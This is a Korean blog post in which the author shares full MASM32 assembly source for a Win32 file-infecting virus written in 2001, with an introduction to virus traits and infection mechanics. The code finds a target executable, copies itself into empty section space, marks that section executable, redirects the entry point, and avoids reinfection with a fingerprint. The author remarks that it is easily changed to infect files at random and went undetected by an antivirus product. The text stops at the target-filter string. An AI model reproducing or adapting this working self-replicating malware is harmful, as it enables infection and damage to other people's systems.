반응형
본 소스코드는 2001년도에 작성된것으로, Win32 환경에서 바이러스가 어떻게 동작하는가에 관한 한가지 예를 보여준다. 이것저것 정리 하던 도중 하드 디스크 한쪽 구석에 쳐박혀 있던 것을 발견, 잠시 고민하다...

오늘은 바이러스 코드에 대해서 포스팅한닷 !!

예전에 친구집에서 한참 페르시아 왕자를 하던 시절... 디스켓을 같이 보관하거나, 꺼져있는 PC에 디스켓을 넣기만 해도 바이러스가 옮는다고 믿던 시절이 있었다. 지금 생각하면 컴퓨터 바이러스와 실제 바이러스를 혼동해서 저런 루머가 생겨났을거라고 생각한다. ㅎㅎ 어찌되었던 저런 루머가 횡행했을만큼 컴퓨터 바이러스라는 이름은 이름 그 자체로도 일반 PC유저에게는 공포와 경외의 대상이었다.

처음에 컴퓨터 바이러스라는 이름이 붙여지게 된것에는 아마도 그 전염성에 주목한 명명법이 아니었나 싶다. 요즘에는 바이러스, 웜, 트로이목마, 백도어 등등 악성코드의 분류와 종류, 용어마저도 다양해지고 있지만, 예나 지금이나 컴퓨터 바이러스라고 정의할만한 몇가지 특성을 말한다면 아마 다음과 같을 것이다.

1. 숙주(host)에 기생
- 바이러스가 virus.exe 이런 이름으로 돌아다닐리는 없다. 물론 맨처음 감염시킬때에는 무언가 trigger가 될 프로세스가 있어야 하겠지만, 일단 한번 감염이 되면 바이러스는 숙주의 몸속에 숨게 된다.

2. 전염성
- 바이러스에 감염된 숙주 프로그램은 또 다른 프로그램에게 바이러스 코드를 전파하며, 퍼져나가게 된다. 이때 감염경로는 신속하면서도 조용히 이루어지는것이 바람직(?)하다.
- 바이러스에 감염되자 마자 바로 숙주가 죽어버리면, 바람직(?)한 바이러스라 할 수 없다. 이상적(?)인 바이러스의 형태는 가급적 조용히 널리 퍼져, 어떤 한 순간(특정한 날 등)에 한꺼번에 돌발해야만 그 효과가 극대화된다. 해서 간혹 정치적인 메시지를 담은 바이러스들도 자주 출몰하곤 했던것이 바로 이러한 이유에서다.

3. 원하는 작업의 (몰래)실행
- 뭐 감염되고 아무 증상(?)이 없다면 그건 바이러스라 할 수없다. 무언가 의도한 작업을 수행해야만 한다.


뭐 이쯤 될것 같다.

서론은 이쯤해서 집어치우고 구현에 대해서 본 소스코드에 대해서 좀 얘기해보자~

1. MASM32로 쓰여졌다.
- 지금이야 MASM을 거의 안쓰고 NASM을 많이 쓰는 분위기지만 예전에는 MASM을 많이 썼다. NASM용으로 소스를 고쳐볼까 했지만, 웬 뻘짓? 이란 생각이 들어 포기, 빌드해서 테스트를 해보고 싶다면 인터넷에서 MASM32를 구해서 빌드해보길 바란다.

2. 감염시킬 파일을 API로 검색하는 방식과 Entry Point를 조작하는 감염방식으로 구현되어 있다.
- 루트킷을 통한 전염이나 코드 분산배치 방식등의 복잡하고 더욱 악랄(?)해진 요즘 트랜드(?)에 비하면, 상대적으로 정직한(?) 방식이므로 상용백신의 휴리스틱 엔진에 걸릴것으로 예상된다. (근데 왜 알약에서 detect가 안되는지 잘 모르겠다. 다른 백신은 어떤지 모르겠음)

3. DEP(Data Execution Prevention)이 설정된 컴퓨터에서는 동작하지 않을수 있다.
- 본 코드는 섹션을 추가하지않고 실행파일의 데이터 섹션에 덮어써지므로, 혹시 사용자의 시스템이 DEP가 설정되었다면 실행중에 예외를 발생시킬수도 있다.

4. 같은 디렉토리에 있는 _host.exe라는 파일만을 감염시킨다. 거기다가 단 1개의 파일만 감염시키도록 되어 있다.
- 물론 소스를 수정하게 되면 무작위로 파일을 감염시킬수 있지만, 만약 테스트한다면 신중하길 바란다. (테스트 결과, 알약에서 감지하지 못한다. 코드 수정후, Windows 디렉토리 등에서 실행시키게 되면 그 결과를 장담할 수 없다. 반드시 꼭 주의하기 바란다 !!

5. 감염된 파일을 확인하려면 실행후 "Ha Ha Ha, I'm here" 라는 메시지 박스가 출력되면 감염된것이다.


동작원리를 간단히 살펴보자

1. 감염대상을 찾는다
- 감염시킬 숙주프로그램을 검색한다.

2. 감염시킬 파일을 열고, 프로그램의 엔트리 포인트(Entry Point)를 수정한다.
- 내가 원하는 코드를 실행하게 하려면 원래의 실행루틴 사이에 나의 코드를 위치시켜야 한다. 하지만 코드를 그냥 덮어쓰면 원래 프로그램이 정상적으로 동작하지 않을것이므로, 1차 감염후 바로 프로그램이 이상하다는것을 눈치챌것이다. 이러면 2차, 3차적으로 전파될수없다. 그러므로 바이러스에 감염이 되고도 숙주프로그램은 정상적으로 실행되어야 만 한다. 이것에 대한 해결책으로 바이러스 코드의 끝부분에는 원래의 엔트리 포인트로 돌아가는 점프코드를 삽입한다.

3. 바이러스 코드를 위치시킬부분을 찾는다.
- 원하는 코드를 어디에다 위치시킬것인가 또한 중요한 부분이다. 프로그램의 코드영역(.text)이나 재배치영역(.reloc) 영역에 덮어쓰게 되면 호스트 프로그램에게 문제가 발생할 가능성이 매우 크다. 따라서 보통 데이터 영역(.data)이나 리소스 영역(.rsrc)의 빈공간(0)을 검색한후, 덮어쓴다.
- 이러한 이유로 바이러스 코드는 그 크기가 중요해진다. 지나치게 크면 숙주 프로그램속에서 코드를 덮어쓸 공간을 찾기가 힘들어진다. 바이러스코드를 어셈블리로 작성하는 이유중의 한가지이다.

4. 적당한 공간을 찾았으면 코드를 덮어쓴다.
- 이때 파일의 타임스탬프를 갱신시키지 않는다는 점이 중요하다. 예전에 설치한 프로그램 실행파일이 어느날 갑자기 최신파일로 되어 있으면 누구나 이상하게 볼것이다.


이것이 전체적인 본 바이러스 코드의 흐름이다.

그밖의 중요 루틴

1. 바이러스 코드는 정상적으로 프로그램이 빌드될때 링크되어진 코드가 아니다. 따라서 일반적인 Win32 API를 호출하는 방법이 아닌 특별한 방법이 필요하다. 코드에서 찾아보기 바란다.
2. 바이러스 지문(중복 감염을 막기위한 일종의 표시)을 이용해서 이미 감염된 실행파일을 다시 감염시키지 않는다.
3. 메모리맵파일을 이용해서 코드을 덮어쓴다. 파일의 타임스탬프를 변경하지 않는다.
4. 에러발생을 대비한 WIN32 구조화 예외처리 핸들러가 구성되어 있다. 실제 시스템에서 예외처리를 어떻게 처리하는지 소스에서 확인해볼 수 있다.



아래는 실제 바이러스의 소스코드이다. Win32 API 와 어셈블리, 그리고 PE 파일구조에 대한 이해만 있다면 이해하는데 별 어려움이 없으리라 생각한다.

;--------------------------------------------------------------------------------------------------------
; WIN32 COMPATIBLE(Windows 9x/NT/2000) VIRUS CODE
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; - designed by woojooin
;
; - last update : 2001. 10. 22
;--------------------------------------------------------------------------------------------------------
.386
.model flat, stdcall
option casemap: none

;--------------------------------------------------------------------------------------------------------
; include
;--------------------------------------------------------------------------------------------------------
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc

;--------------------------------------------------------------------------------------------------------
; libraray
;--------------------------------------------------------------------------------------------------------
includelib c:\masm32\lib\kernel32.lib

;--------------------------------------------------------------------------------------------------------
; defines
;--------------------------------------------------------------------------------------------------------
; TODO : list defines
bpx equ int 3 ; 브레이크 포인트 (for Debugging)
STACKFRAME_LEN equ 1024 ; 스택프레임의 크기(지역변수를 위한 공간)
CODE_LEN equ (EndCode-StartCode) ; 우리 코드의 전체길이
EXTRA_GAP equ 4 ; 감염시킬 코드의 앞뒤에 들어갈 약간의 공간
MIN_BASE_SEARCH_KERNEL equ 070000000h ; 검색할수 있는 가장 낮은 주소
MAX_API_NAME_LEN equ 32 ; 검색할 API 함수이름의 길이

MAX_INFECT_NUM equ 1 ; 감염시킬 파일개수
FINGERPRINT equ 65526548h ; 바이러스 지문 "HeRe"

;--------------------------------------------------------------------------------------------------------
; local variable
;--------------------------------------------------------------------------------------------------------
; TODO : list proto type

; 일반 변수
dwCodeStart equ [ebp-4] ; 코드 시작
dwBaseOfSearchKernel equ [ebp-8] ; KERNEL32.DLL의 베이스주소(수동으로 얻어내는 모듈핸들)
; ...

; 모듈 핸들
hKernel32Module equ [ebp-20] ; 각종 모듈핸들
hUser32Module equ [ebp-24]
; ...

; 예외처리를 위한 백업 레지스터
orgEsp equ [ebp-40]
orgEbp equ [ebp-44]
savEip equ [ebp-48]
; ...

; 각종 함수주소
pfnLoadLibraryA equ [ebp-60] ; 각종 API 함수주소
pfnGetProcAddress equ [ebp-64]

pfnFindFirstFileA equ [ebp-68]
pfnCreateFileA equ [ebp-72]
pfnCreateFileMappingA equ [ebp-76]
pfnMapViewOfFile equ [ebp-80]
pfnUnmapViewOfFile equ [ebp-84]
pfnCloseHandle equ [ebp-88]
pfnFreeLibrary equ [ebp-92]
pfnMessageBoxA equ [ebp-96]
pfnFindNextFileA equ [ebp-100]
pfnFindClose equ [ebp-104]
pfnSetFileAttributesA equ [ebp-108]
;...

; 기타 사용자 변수
hFile equ [ebp-200] ; 파일핸들
hMap equ [ebp-204] ; 파일맵
pFile equ [ebp-208] ; 파일맵 뷰포인터

pszApi equ [ebp-200] ; 함수이름
fdFindData equ [ebp-520] ; WIN32_FIND_DATA 구조체 (320 bytes)

pFreeSpace equ [ebp-524] ; 감염될 주소 (빈 공간)
dwDelta equ [ebp-528] ; 실제 로드될때의 가상주소와 파일오프셋간의 보정값

hFind equ [ebp-532] ; 파일검색 핸들
dwInfectedNum equ [ebp-536] ; 감염된 파일개수
; ...

;--------------------------------------------------------------------------------------------------------
; proto type
;--------------------------------------------------------------------------------------------------------
; TODO : list proto type

;--------------------------------------------------------------------------------------------------------
; data section
;--------------------------------------------------------------------------------------------------------

;--------------------------------------------------------------------------------------------------------
; code section
;--------------------------------------------------------------------------------------------------------
.code

;--------------------------------------------------------------------------------------------------------
; 코드 시작 !!
;--------------------------------------------------------------------------------------------------------
StartCode:
; 스택꼭대기의 주소값 백업
mov edi, [esp]

; 스택프레임 생성(마치 전체 코드가 하나의 함수처럼 동작한다.)
push ebp
mov ebp, esp
sub esp, STACKFRAME_LEN

;--------------------------------------------------------------------------------------------------------
; 코드의 시작주소 백업
; (call명령이 실행주소를 스택에 백업한다는 것을 이용한다.)
;--------------------------------------------------------------------------------------------------------
call GetEip ; 현재 코드의 실행위치
GetEip:
pop eax
sub eax, (GetEip-StartCode)
mov dwCodeStart, eax ; 지역변수 dwCodeStart에 코드의 시작주소 저장.
mov ebx, eax ; 이제 ebx가 항상 코드의 시작주소를 가지고 있다.

; KERNEL32.DLL의 모듈핸들(베이스주소) 얻어낸다.
mov dwBaseOfSearchKernel, edi
call GetKernelBaseAddr
or eax, eax
je Exit
mov hKernel32Module, eax

; LoadLibraryA()의 함수주소 얻어낸다.
lea eax, (g_szLoadLibraryA-StartCode)[ebx]
mov pszApi, eax
call GetProcAddr
or eax, eax
je Exit
mov pfnLoadLibraryA, eax

; GetProcAddress()의 함수주소 얻어낸다.
lea eax, (g_szGetProcAddress-StartCode)[ebx]
mov pszApi, eax
call GetProcAddr
or eax, eax
je Exit
mov pfnGetProcAddress, eax

; KERNEL32 로드
lea eax, (g_szKernel32_dll-StartCode)[ebx]
push eax
call dword ptr pfnLoadLibraryA
mov hKernel32Module, eax

; USER32 로드
lea eax, (g_szUser32_dll-StartCode)[ebx]
push eax
call dword ptr pfnLoadLibraryA
mov hUser32Module, eax

;--------------------------------------------------------------------------------------------------------
; 필요한 API 함수주소를 얻어온다.
;--------------------------------------------------------------------------------------------------------
GetApiAddrs:
; FindFirstFileA() 함수주소
lea eax, (g_szFindFirstFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindFirstFileA, eax

; CreateFileA() 함수주소
lea eax, (g_szCreateFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCreateFileA, eax

; CreateFileMappingA() 함수주소
lea eax, (g_szCreateFileMappingA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCreateFileMappingA, eax

; MapViewOfFile() 함수주소
lea eax, (g_szMapViewOfFile-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnMapViewOfFile, eax

; UnmapViewOfFile() 함수주소
lea eax, (g_szUnmapViewOfFile-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnUnmapViewOfFile, eax

; CloseHandle() 함수주소
lea eax, (g_szCloseHandle-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCloseHandle, eax

; FreeLibrary() 함수주소
lea eax, (g_szFreeLibrary-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFreeLibrary, eax

; FindNextFileA() 함수주소
lea eax, (g_szFindNextFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindNextFileA, eax

; FindClose() 함수주소
lea eax, (g_szFindClose-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindClose, eax

; SetFileAttributesA() 함수주소
lea eax, (g_szSetFileAttributesA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnSetFileAttributesA, eax

; MessageBoxA() 함수주소
lea eax, (g_szMessageBoxA-StartCode)[ebx]
push eax
push hUser32Module
call dword ptr pfnGetProcAddress
mov pfnMessageBoxA, eax

;--------------------------------------------------------------------------------------------------------
; 감염시킬 파일을 검색한다.
; 필요하다면 루프나 재귀호출로써 시스템에 있는 파일 전부 또는 일부를 감염시킬 수 있다.
;--------------------------------------------------------------------------------------------------------
GetTargetFile:
; 감염된 파일개수 초기화
mov dword ptr dwInfectedNum, 0

; FindFirstFileA()
lea eax, fdFindData
push eax
lea eax, (g_szTargetFilter-StartCode)[ebx]
push eax
call dword ptr pfnFindFirstFileA
cmp eax, -1
;je Cleanup
je HereWeGo ; 감염시킬 대상을 찾지 못했다면, 우리의 코드만 실행하고 정상적으로 죵료한다.

; 파일검색 핸들 설정
mov dword ptr hFind, eax

; 처음이니까...
jmp SkipFindNext

GetNextFile:
; FindNextFileA();
lea eax, fdFindData
push eax
push dword ptr hFind
call dword ptr pfnFindNextFileA
cmp eax, FALSE
je HereWeGo ; 더이상 감염대상이 없다면, 우리의 코드만 실행하고 정상적으로 종료한다.

SkipFindNext:

;--------------------------------------------------------------------------------------------------------
; 감염시킬 파일을 찾았다면 메모리맵 파일로 연다.
;--------------------------------------------------------------------------------------------------------
OpenMappedFile:
assume eax: ptr WIN32_FIND_DATA

; SetAttributes() : 쓰기가능한 속성으로 설정한다.
push FILE_ATTRIBUTE_ARCHIVE
lea eax, fdFindData
lea eax, [eax].cFileName ; WIN32_FIND_DATA.cFileName
push eax
call dword ptr pfnSetFileAttributesA

; CreateFileA()
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push (FILE_SHARE_READ or FILE_SHARE_WRITE)
push (GENERIC_READ or GENERIC_WRITE)
lea eax, fdFindData
lea eax, [eax].cFileName ; WIN32_FIND_DATA.cFileName
push eax
call dword ptr pfnCreateFileA
cmp eax, -1
je Failed_CreateFile ; 파일생성 실패 !!
mov hFile, eax

assume eax: nothing

; CreateFileMapping()
push NULL
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
call dword ptr pfnCreateFileMappingA
cmp eax, -1
je Failed_FileMapping ; 파일매핑 실패 !!
mov hMap, eax

; MapViewOfFile()
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
push hMap
call dword ptr pfnMapViewOfFile
cmp eax, -1
je Failed_MapViewFile ; 파일 뷰포인터 변환 실패 !!
mov pFile, eax

;--------------------------------------------------------------------------------------------------------
; 감염대상이 정상적인 실행가능한 파일이라면, 감염시킬 적당한 빈 공간(0바이트로 채워진)을
; 검색한뒤, 우리의 코드를 감염시킨다.
;--------------------------------------------------------------------------------------------------------
FindEmptySpace:
; 올바른 PE 형식인가 검사한다.
mov edi, pFile
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic == IMAGE_DOS_SIGNATURE ; IMAGE_DOS_HEADER.e_magic
add edi, [edi].e_lfanew
assume edi: ptr IMAGE_NT_HEADERS
.if [edi].Signature != IMAGE_NT_SIGNATURE ; IMAGE_NT_SIGNATURE.Signature
jmp CloseAll
.endif
.else
jmp CloseAll
.endif

; ecx에 섹션의 개수를 담는다.
xor ecx, ecx
mov word ptr cx, [edi].FileHeader.NumberOfSections ; IMAGE_NT_SIGNATURE.FileHeader.NumberOfSections

; 거꾸로 검색한다. !! ; eax -> 마지막 섹션포인터 상대위치
xor edx, edx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx
sub eax, sizeof IMAGE_SECTION_HEADER

; edx에 섹션의 헤더 포인터를 담는다.
mov edx, edi
add edx, sizeof IMAGE_NT_HEADERS
add edx, eax ; 마지막 섹션포인터 상대위치만큼 더한다. (거꾸로 검색하기 위해)
assume edx: ptr IMAGE_SECTION_HEADER

; 각 섹션을 순회하면서 빈 공간을 찾아낸다.
push ebx ; 코드의 시작주소를 잠시 스택에 백업한다.
xor ebx, ebx ; 임시변수로 사용하기 위해 0으로 초기화한다.

.while ecx > 0
mov esi, pFile
add esi, [edx].PointerToRawData

;-----------------------------------------------------------------
; 섹션에 따라서 감염되어서는 안되는 영역이 있다.
; 예를 들면 코드영역(.text)이나 재배치정보 영역(.reloc)같은 곳에는
; 감염될경우 원래 프로그램이 동작하지 않을 위험이 크다.
;-----------------------------------------------------------------
inc edx
.if dword ptr [edx] == 6f6c6572h ; ".reloc" 섹션이라면 건너뛰자.
dec edx
jmp @Contine
.endif
dec edx

; 델타값 저장 (eax를 사용해서)
mov eax, [edx].VirtualAddress
sub eax, [edx].PointerToRawData
mov dword ptr dwDelta, eax

; 마찬가지로 거꾸로 검색한다.
mov eax, [edx].SizeOfRawData
add esi, eax
dec esi
.while eax > 0
.if byte ptr [esi] == 0
; 빈 공간이라면 ebx(빈 공간 길이를 담기위한 임시변수) 1 증가
inc ebx
; 빈 공간의 길이가 우리의 원하는 만큼의 길이가 된다면,
.if ebx >= (EXTRA_GAP*2 + CODE_LEN)
; 섹션 속성 변경 !!
or [edx].Characteristics, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
mov pFreeSpace, esi
jmp InfectCode ; 코드를 감염시키자 !!
.endif
.else
;---------------------------------------------------
; 이미 감염된 녀석이라면, 다시 감염시키지 않는다.
;---------------------------------------------------
.if ebx >= 4 ; 지문뒤에 4바이트 0이 존재하므로
.if dword ptr [esi-3] == FINGERPRINT
; 이미 감염된 파일이다.
pop ebx ; 역시 ebx를 복원하는것을 잊으면 곤란하다.
jmp CloseAll ; 그냥 조용히 모른척하자.
.endif
.endif
; 빈 공간이 아니라면(0바이트 영역이 아니라면)
; 빈 공간의 길이(ebx)를 0으로 리셋한다.
xor ebx, ebx
.endif
;inc esi ; 다음 바이트로
dec esi ; 이전 바이트로
dec eax ; 카운터 1 감소
.endw

@Contine:
;add edx, sizeof IMAGE_SECTION_HEADER ; 다음 섹션으로
sub edx, sizeof IMAGE_SECTION_HEADER ; 이전 섹션으로(거꾸로 검색)
dec ecx ; 카운터 1 감소
.endw
assume edx: nothing

pop ebx ; 까먹을뻔 했다 !! ebx를 복원한다.

; 섹션을 다 돌았는데도 불구하고 필요한 만큼의 빈 공간이 확보되지 않았다면
; 그냥 모른척하고 감염을 포기한다.
jmp CloseAll

;--------------------------------------------------------------------------------------------------------
; 자, 원하는 만큼의 빈 공간이 확보되었다. 이제 우리의 코드를 감염시키면 된다.
; 여기까지 왔다면 지역변수 pFreeSpace에는 감염시킬 파일포인터를 가지고 있을것이다.
;--------------------------------------------------------------------------------------------------------
InfectCode:
pop ebx ; 역시 ebx를 복원하는것을 잊으면 곤란하다.

add dword ptr pFreeSpace, EXTRA_GAP ; 약간의 여유공간을 남겨두고...

; 이제 우리 코드를 감염시키자 !!
push edi ; edi 스택에 백업
mov esi, ebx ; Source Index, ebx는 우리 코드의 시작이란걸 잊지 않았겠지?
mov ecx, CODE_LEN ; Length(Counter), 우리의 코드 길이만큼을
mov edi, pFreeSpace ; Target Index, 아까 찾아낸 빈 공간에다가 복사하면 감염 끝 !!
rep movs byte ptr [edi], [esi]
pop edi ; 까먹지 말자 !!

;--------------------------------------------------------------------------------------------------------
; 숙주 프로그램의 엔트리포인트를 내 코드 시작지점으로 변경하고,
; 우리의 코드 끝에 원래의 엔트리포인트로 점프하는 루틴을 삽입한다.
;--------------------------------------------------------------------------------------------------------
ModifyEntryPoint:
; 우리의 코드 끝부분(원래 엔트리포인트로 점프하는 부분)
mov eax, pFreeSpace
mov ecx, (Jmp2OrgEntryPoint-StartCode-4)
add eax, ecx

; 우리의 코드 끝부분 4바이트에다가 원래 엔트리포인트를 덮어쓴다.
mov ecx, [edi].OptionalHeader.AddressOfEntryPoint
add ecx, [edi].OptionalHeader.ImageBase
mov dword ptr [eax], ecx

; 우리 코드의 시작위치로 엔트리포인트를 수정해준다.
mov eax, pFreeSpace
sub eax, pFile

add eax, dwDelta ; 델타 보정

mov [edi].OptionalHeader.AddressOfEntryPoint, eax

;--------------------------------------------------------------------------------------------------------
; 파일 감염 성공 !!
;--------------------------------------------------------------------------------------------------------
InfectOK:
assume edi: nothing

; 감염된 파일개수 1 증가
inc dword ptr dwInfectedNum

;--------------------------------------------------------------------------------------------------------
; 열린 자원들(각종 핸들등)을 모두 닫아준다.
;--------------------------------------------------------------------------------------------------------
CloseAll:
push dword ptr pFile
call dword ptr pfnUnmapViewOfFile

Failed_MapViewFile:
push dword ptr hMap
call dword ptr pfnCloseHandle

Failed_FileMapping:
push dword ptr hFile;
call dword ptr pfnCloseHandle

Failed_CreateFile:

; 원하는 개수만큼 감염을 반복한다. !!
.if dword ptr dwInfectedNum < MAX_INFECT_NUM
jmp GetNextFile
.endif

;--------------------------------------------------------------------------------------------------------
; 우리가 원하는 것을 아래에서 해주면 된다 !!
;--------------------------------------------------------------------------------------------------------
HereWeGo:
; 메시지 박스 !!
push MB_ICONINFORMATION
lea eax, (g_szMsgTitle-StartCode)[ebx]
push eax
lea eax, (g_szMsgText-StartCode)[ebx]
push eax
push NULL
call dword ptr pfnMessageBoxA

;--------------------------------------------------------------------------------------------------------
; 로드된 각종 모듈들을 반환한다.
;--------------------------------------------------------------------------------------------------------
Cleanup:
; 파일검색 핸들 닫기
push dword ptr hFind;
call dword ptr pfnFindClose

; KERNEL32.DLL 반환
push dword ptr hKernel32Module
call dword ptr pfnFreeLibrary

; USER32.DLL 반환
push dword ptr hUser32Module
call dword ptr pfnFreeLibrary

;--------------------------------------------------------------------------------------------------------
; 스택프레임을 복구하고 작업을 정리한다.
; 마지막에 덮어써질 점프코드도 마련한다.
;--------------------------------------------------------------------------------------------------------
Exit:
add esp, STACKFRAME_LEN
mov esp, ebp
pop ebp

; 작업후에 원래의 엔트리포인트로 돌아가기위해
; 덮어써질 코드를 마련한다.
push offset EndCode
Jmp2OrgEntryPoint:
ret

;--------------------------------------------------------------------------------------------------------
; KERNEL32.DLL의 베이스주소를 얻어오는 코드
; 가상메모리를 역으로 검색해 올라가면서 첫번째로 로드된 DLL을 찾는다.
;--------------------------------------------------------------------------------------------------------
GetKernelBaseAddr:
assume fs: nothing

; 예외처리 프레임 생성
push dword ptr (SehHandler-StartCode)[ebx] ; 예외처리 핸들러(절대번지로 지정한다.)
push fs:[0]

; esp, ebp 레지스터를 백업하고, 예외발생시 점프할 코드주소(eip)를 저장한다.
mov dword ptr orgEsp, esp
mov dword ptr orgEbp, ebp
mov edi, (@ExpPatch-StartCode)[ebx]
mov dword ptr savEip, edi

; 예외처리 프레임 설치 !!
mov fs:[0], esp

; KERNEL32.DLL의 베이스주소를 검색한다.
mov edi, dwBaseOfSearchKernel ; 검색시작주소(시작시에 저장해놓은 스택포인터의 값)
and edi, 0ffff0000h ; 하위워드는 리셋시킨다.

; 검색시작 !!
.while TRUE
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic == IMAGE_DOS_SIGNATURE ; IMAGE_DOS_HEADER.e_magic
mov esi, edi
add esi, [edi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS
.if [esi].Signature == IMAGE_NT_SIGNATURE ; IMAGE_NT_SIGNATURE.Signature
.break
.endif
.endif

@ExpPatch:
; 결국, 예외가 발생하거나
; 아직 찾지 못했다면 이리로 온다 !!
sub edi, 010000h ; 0x10000 만큼 더 올라가본다.
.if edi < MIN_BASE_SEARCH_KERNEL
mov edi, 0bff70000h
.break
.endif
.endw
xchg eax, edi

; 예외처리 프레임 해제
pop fs:[0]
add esp, 4
ret

;--------------------------------------------------------------------------------------------------------
; API 함수주소를 얻어오는 코드
; PE 헤더를 검색하면서 수동으로 함수주소를 얻어온다.
;--------------------------------------------------------------------------------------------------------
GetProcAddr:
; 예외처리 프레임 생성
push dword ptr (SehHandler-StartCode)[ebx] ; 예외처리 핸들러(절대번지로 지정한다.)
push fs:[0]

; esp, ebp 레지스터를 백업하고, 예외발생시 점프할 코드주소(eip)를 저장한다.
mov dword ptr orgEsp, esp
mov dword ptr orgEbp, ebp
mov edi, (@Fail-StartCode)[ebx]
mov dword ptr savEip, edi

; 올바른 PE형식인가?
mov esi, hKernel32Module
cmp word ptr [esi], IMAGE_DOS_SIGNATURE
jne @Fail
add esi, dword ptr [esi+03Ch]
cmp dword ptr [esi], IMAGE_NT_SIGNATURE
jne @Fail

; 함수이름의 문자열 길이
mov edi, pszApi
mov ecx, MAX_API_NAME_LEN
xor al, al
repnz scasb
mov ecx, edi
sub ecx, pszApi ; ecx -> 함수이름의 길이 (NULL 포함)

; Export Table을 검색한다.
mov edx, dword ptr [esi+078h]
add edx, hKernel32Module
assume edx: ptr IMAGE_EXPORT_DIRECTORY ; edx -> Export Directory 포인터

; 먼저 함수 이름으로 검색해보자.
mov edi, [edx].AddressOfNames
add edi, hKernel32Module ; edi -> AddressOfNames 배열 포인터
xor eax, eax ; eax -> AddressOfNames 인덱스 (초기화)

.while eax < [edx].NumberOfNames
; 일단 스택에 백업
push edi

; 문자열 비교를 위한 esi, edi 설정
mov esi, pszApi ; source index
mov edi, dword ptr [edi] ; destination index
add edi, hKernel32Module

; 카운터 백업
push ecx ; 함수이름 길이도 스택에 백업

repz cmpsb ; 문자열 비교
.if zero?
; 원하는 함수를 찾았다 !!
pop ecx ; 일단 스택을 복원해주고
pop edi
jmp @FindIt ; 다음 처리를 위해...
.endif

pop ecx ; 스택을 복원하는것을
pop edi ; 잊지말자 !!

add edi, 4 ; 포인터와 인덱스 증가
inc eax
.endw

; 함수를 찾지 못했다. !!
jmp @Fail

@FindIt:

; 함수 Ordinal Number를 얻어내자.
mov esi, [edx].AddressOfNameOrdinals ; edx는 Export Directory 포인터였다.
add esi, hKernel32Module ; esi -> AddressOfNameOrdinals 배열 포인터

push edx ; 일단 edx(Export Directory 포인터) 백업

xor edx, edx ; edx 0으로 리셋
mov edi, 2 ; Ordinal Number는 WORD형이므로 2bytes
mul edi ; 이미 위에서 작업한 결과로 eax에는 인덱스가 담겨있을것이다.
; 그러므로 AddressOfNameOrdinals 배열의 인덱스를 정확히 계산해낸다.

pop edx ; 역시 잊으면 곤란하다. (항상 스택을 머릿속으로 그려가며...)

add eax, esi ; Ordinal Number를 얻었다 !!
xor ecx, ecx
mov word ptr cx, [eax] ; ecx -> Ordinal Number

; 그러면 마지막으로 실제 함수의 주소를 찾아보자.
mov edi, [edx].AddressOfFunctions ; edi -> AddressOfFunctions 배열 포인터

xor edx, edx ; edx 0으로 리셋
mov esi, 4 ; 함수주소는 4바이트
mov eax, ecx
mul esi ; 4 * Ordinal Number

add eax, hKernel32Module
add eax, edi
mov eax, [eax]
add eax, hKernel32Module ; eax -> 우리가 찾는 함수 주소가 얻어졌다.

jmp @Success ; 성공 !!

assume esi: nothing
assume edi: nothing
assume edx: nothing

@Fail:
xor eax, eax

@Success:
; 예외처리 프레임 해제
pop fs:[0]
add esp, 4
ret

;--------------------------------------------------------------------------------------------------------
; 구조화 예외처리 핸들러 (지역변수에 백업된, esp, ebp, eip를 복원한다.)
;--------------------------------------------------------------------------------------------------------
SehHandler:

; 예외처리 핸들러의 원형 (C 타입)
; EXCEPTION_DISPOSITION __cdecl ExceptionHandler(
; struct _EXCEPTION_RECORD *ExceptionRecord,
; void * EstablisherFrame,
; struct _CONTEXT *ContextRecord,
; void * DispatcherContext)

mov eax, [esp-10h] ; ContextRecord
assume eax: ptr CONTEXT

; 레지스터 복원
push dword ptr orgEsp
pop [eax].regEsp
push dword ptr orgEbp
pop [eax].regEbp
push dword ptr savEip
pop [eax].regEip

mov eax, ExceptionContinueExecution ; 핸들링을 계속 수행한다.
ret

;--------------------------------------------------------------------------------------------------------
; 문자열 (전역데이터)
;--------------------------------------------------------------------------------------------------------
Strings:
; DLLs
g_szKernel32_dll db "KERNEL32.DLL", NULL
g_szUser32_dll db "USER32.DLL", NULL

; API Functions
g_szGetProcAddress db "GetProcAddress", NULL
g_szLoadLibraryA db "LoadLibraryA", NULL
g_szFindFirstFileA db "FindFirstFileA", NULL
g_szCreateFileA db "CreateFileA", NULL
g_szCreateFileMappingA db "CreateFileMappingA", NULL
g_szMapViewOfFile db "MapViewOfFile", NULL
g_szUnmapViewOfFile db "UnmapViewOfFile", NULL
g_szCloseHandle db "CloseHandle", NULL
g_szFreeLibrary db "FreeLibrary", NULL
g_szMessageBoxA db "MessageBoxA", NULL
g_szFindNextFileA db "FindNextFileA", NULL
g_szFindClose db "FindClose", NULL
g_szSetFileAttributesA db "SetFileAttributesA", NULL

; 기타
g_szMsgTitle db "woojooin", NULL
g_szMsgText db "Ha Ha Ha, I'm Here !!", NULL

; 감염대상 필터
